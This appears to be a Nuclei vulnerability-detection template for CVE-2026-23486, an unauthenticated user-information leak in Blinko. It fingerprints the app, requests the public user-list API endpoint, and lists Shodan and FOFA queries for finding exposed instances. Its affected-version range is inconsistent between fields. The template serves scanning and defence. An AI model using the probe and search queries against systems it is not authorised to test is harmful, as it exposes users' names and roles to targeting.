id: CVE-2026-23486

info:
  name: Blinko <= 1.8.3 - User Information Leak
  author: 0x_Akoko
  severity: low
  description: |
    Blinko <= 1.8.4 contains an information disclosure caused by a publicly accessible endpoint exposing user information including usernames, roles, and account creation dates, letting remote attackers access sensitive user data, exploit requires no special privileges.
  impact: |
    Remote attackers can access sensitive user information, potentially leading to privacy violations and targeted attacks.
  remediation: |
    Update to version 1.8.4 or later.
  reference:
    - https://github.com/blinkospace/blinko/security/advisories/GHSA-446p-2xf5-frxf
    - https://github.com/blinkospace/blinko
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23486
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
    cve-id: CVE-2026-23486
    epss-score: 0.00711
    epss-percentile: 0.48684
  metadata:
    verified: true
    max-request: 1
    vendor: blinkospace
    product: blinko
    fofa-query: title="Blinko"
    shodan-query: http.title:"Blinko"
  tags: cve,cve2026,blinko,exposure,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<title>Blinko</title>", "Blinko self-hosted personal note")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/user/public-user-list"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"name\":", "\"role\":")'
        condition: and
# digest: 490a0046304402206292c8f4d3278880b4301d266686502c85598292fa017e888c3034a65171e832022073be2f741d27353851702892904aec4da089702b16101231fe5a0a86a6da4250:922c64590222798bb761d5b6d8e72950